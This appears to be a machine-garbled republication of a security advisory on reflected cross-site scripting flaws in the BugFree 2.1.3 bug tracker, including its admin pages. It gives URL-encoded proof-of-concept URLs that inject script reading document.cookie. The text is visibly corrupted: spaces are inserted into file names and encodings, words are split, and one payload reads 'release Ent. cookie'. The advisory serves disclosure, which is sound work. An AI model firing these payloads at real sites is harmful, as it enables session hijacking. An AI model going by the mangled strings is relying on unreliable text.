Multiple bugs in BugFree and repair

 

Product: BugFree

Develop this Website: www.bugfree.org.cn

Affected Versions: 2.1.3 and probably prior

Tested version: 2.1.3

Defect type: XSS (Cross Site Scripting)

Technical analysis:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BugFree, which can be exploited to perform cross-site scripting attacks.

 

1) Input passed via the "ActionType" GET parameter to Bug. php is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

 

The following PoC code is available:

 

Http://www.bkjia.com/Bug. php? BugID = 1 & ActionType = % 22% 3E % 3 Cscript % 3 Ealert % 28 docum

Ent. cookie % 29; % 3C/script % 3E

 

2) Input passed via the "ReportMode" GET parameter to Report. php is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

 

The following PoC code is available:

 

Http://www.bkjia.com/Report. php? ReportMode = % 3C/title % 3E % 3 Cscript % 3 Ealert % 28 docu

Ment. cookie % 29; % 3C/script % 3E

 

3) Input passed via the "ReportMode" GET parameter to ReportLeft. php is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

 

The following PoC code is available:

 

Http://www.bkjia.com/ReportLeft. php? ReportMode = % 22% 3E % 3 Cscript % 3 Ealert % 28 release E

Nt. cookie % 29; % 3C/script % 3E

 

4) Input appended to the URL after AdminProjectList. php, AdminGroupList. php, AdminUserLogList. php is not properly sanitised before being returned to the user.

This can be exploited to execute arbitrary HTML and script code in a administator browser session in context of affected website.

 

The following PoC code is available:

 

Http://www.bkjia.com/admin/AdminProjectList. php/% 27; % 3C/script % 3E % 3 Cscript % 3Eal

Ert % 28document. cookie % 29; % 3C/script % 3E

Http://www.bkjia.com/admin/AdminGroupList. php/% 27; % 3C/script % 3E % 3 Cscript % 3 Ealer

T % 28document. cookie % 29; % 3C/script % 3E

Http://www.bkjia.com/admin/AdminUserLogList. php/% 27; % 3C/script % 3E % 3 Cscript % 3Eal

Ert % 28document. cookie % 29; % 3C/script % 3E

 

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.